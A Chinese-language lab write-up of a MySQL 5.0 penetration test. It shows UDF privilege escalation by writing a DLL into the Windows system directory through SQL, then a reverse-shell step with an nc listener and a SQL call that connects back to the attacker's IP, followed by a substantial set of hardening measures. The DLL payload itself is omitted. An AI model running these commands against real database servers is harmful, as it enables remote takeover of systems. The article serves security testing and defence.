首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫

MySQL 5.0 入侵測試與防範實戰:從遠程連接到反彈 Shell 完整複現

     編輯:MySQL 資料庫相關知識

前言

本文記錄一次基於 MySQL 5.0 的滲透測試全過程,包括環境搭建、權限配置、UDF 提權、反彈 Shell 實戰,最後給出防範建議。**僅供安全研究與防禦參考,嚴禁用於非法用途。**

測試環境

  • 物理機 (攻擊者):Windows 7,IP 假設為 192.168.1.100
  • 虛擬機 (目標):Windows XP,安裝 MySQL 5.0

第一階段:開啟遠程連接權限

1. 數據庫授權

GRANT ALL PRIVILEGES ON *.* TO 'db_user'@'192.168.1.100' IDENTIFIED BY 'db_pass';
FLUSH PRIVILEGES;

2. 系統防火牆放行 3306 端口

防火牆配置

3. 物理機成功連接

連接成功

第二階段:UDF 提權與反彈 Shell 實戰

核心思路:利用 MySQL `CREATE FUNCTION ... SONAME` 機制,加載惡意 DLL (Windows) 或 SO (Linux),實現代碼執行。

1. 準備惡意 DLL (yyd.dll)

將編譯好的 Shellcode 寫入文件 `yyd.txt`,內容為十六進制字串 (略)。

2. 通過 MySQL 寫入 DLL 文件

-- 建表存放二進制數據
CREATE TABLE yyd (data LONGBLOB);

-- 將十六進制字串轉為二進制寫入
SET @a = 0x4D5A...; -- 此處為完整 DLL 的 Hex 內容
INSERT INTO yyd VALUES (@a);

-- 導出為系統目錄下的 DLL
SELECT data FROM yyd INTO DUMPFILE 'c:\\windows\\system32\\yyd.dll';

寫入 DLL 過程

3. 創建自定義函數關聯 DLL

CREATE FUNCTION backshell RETURNS STRING SONAME 'yyd.dll';

4. 反彈 Shell 操作

  • 物理機 (監聽端口):`nc -vv -l -p 4444`
  • 虛擬機 (觸發反彈):`SELECT backshell('192.168.1.100', 4444);`

執行後,物理機 `nc` 將獲得目標系統的 CMD Shell 權限 (通常為 SYSTEM 權限,因 MySQL 服務常以 Local System 運行)。

過程截圖記錄

執行入侵測試前:測試前

執行入侵測試後:測試後

重啟前:重啟前

重啟後:重啟後

第三階段:防範與修復建議

防範措施

核心防禦措施

  1. 禁止遠程 Root 登錄 / 最小權限原則:
    -- 僅允許本地連接
    GRANT ALL PRIVILEGES ON *.* TO 'app_user'@'localhost' IDENTIFIED BY 'strong_pass';
    -- 或限制特定 IP
    GRANT SELECT, INSERT ON db.* TO 'app_user'@'192.168.1.%' IDENTIFIED BY 'strong_pass';
  2. 禁用 `LOAD DATA LOCAL INFILE` 與 `INTO DUMPFILE/OUTFILE`:
    • 配置 `my.cnf`:`secure_file_priv = /tmp/mysql_files` (限制導入導出目錄)
    • 啟動參數:`--local-infile=0`
  3. 移除/限制 `plugin_dir` 權限:
    • 確保 `plugin_dir` 目錄僅 root/admin 可寫,MySQL 服務賬號不可寫。
    • 配置 `my.cnf`:`plugin_dir = /usr/lib/mysql/plugin` (不可寫目錄)
  4. 運行 MySQL 服務使用低權限賬號:Windows 下建立專用服務賬號,非 SYSTEM/Administrator;Linux 下使用 `mysql` 用戶。
  5. 網絡層隔離:防火牆僅允許應用服務器 IP 訪問 3306,禁止公網/辦公網直連。
  6. 定期審計與升級:檢查 `mysql.func` 表是否有異常 UDF,升級至 MySQL 5.7+ / 8.0 (默認更安全,如 `secure_file_priv` 默認生效)。

總結與反思

本次測試暴露了幾個關鍵風險點:

  • 遠程連接開放 是一切攻擊的前提——“如果 MySQL 不開啟遠程連接,我們還是朋友”。
  • 高權限服務賬號 導致 UDF 提權後直接獲得系統最高權限。
  • 文件讀寫權限失控 允許向系統目錄寫入 DLL。

防範的核心在於**縮小攻擊面**:最小權限運行、網絡隔離、禁用危險功能、文件系統權限控制。安全無小事,配置即防線。

  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved